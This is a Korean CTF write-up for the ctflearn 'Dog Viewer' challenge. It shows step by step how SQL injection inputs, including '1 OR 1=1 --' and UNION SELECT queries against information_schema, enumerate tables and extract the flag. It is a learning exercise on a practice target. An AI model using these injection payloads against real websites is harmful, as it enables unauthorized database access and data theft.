

Dog Viewer

ID:

Submit

0 results

ID 입력할 수 있는 창이 나온다.

ID:

1 OR 1=1 –

Submit

Name: Saranac
Breed: Great Dane
Color: Black
Name: Doodle
Breed: Poodle
Color: Pink
Name: Dexter
Breed: Lab
Color: White

1 OR 1=1 – 을 입력하니 DB에 저장된 강아지 이름이 나온다.

<https://web.ctflearn.com/web8/?id=1+OR+1%3D1+-->

이 때 URL은 GET 방식으로 요청을 한다.

대략 `SELECT Name, Breed, Color FROM Dogs WHERE ID = ?` 이런식의 쿼리로 되어있는 걸 짐작해볼 수 있다.

문제 힌트에는 UNION 문을 사용하라고 지시하고 있다.

UNION을 사용할 때의 핵심은 앞 쿼리의 컬럼수와 같아야 한다는 점이다.

1 UNION SELECT column_name,table_name,3, 4 from information_schema.columns --

쿼리를 위와 같이 짜주면 모든 테이블명과 컬럼명이 출력된다.

```
SELECT  
Name: INNODB_BUFFER_PAGE_LRU  
Breed: IS_OLD  
Color: 3  
Name: INNODB_BUFFER_PAGE_LRU  
Breed: FREE_PAGE_CLOCK  
Color: 3  
Name: w0w_y0u_f0und_m3  
Breed: f0und_m3  
Color: 3  
Name: webeight  
Breed: breed  
Color: 3  
Name: webeight  
Breed: name  
Color: 3  
Name: webeight  
Breed: color  
Color: 3  
Name: webeight  
Breed: id
```

내리다보면 w0w_y0u_f0und_m3, f0und_m3 이렇게 테이블명과 컬럼명이 출력된걸 볼 수

있다.

1 UNION SELECT 1,f0und_m3,3,4 from w0w_y0u_f0und_m3—

이제 위 쿼리를 입력해주면 FLAG가 나온다.

ID:

1 UNION SELECT 1,f0und_m3,3,4 from w0w_y0u_f0und_m3—

Submit

Name: Saranac

Breed: Great Dane

Color: Black

Name: abctf{uni0n_1s_4_gr34t_c0mm4nd}

Breed: 1

Color: 3

서식 지정함: 글꼴: +본문(맑은 고딕), 작은 대문자 없음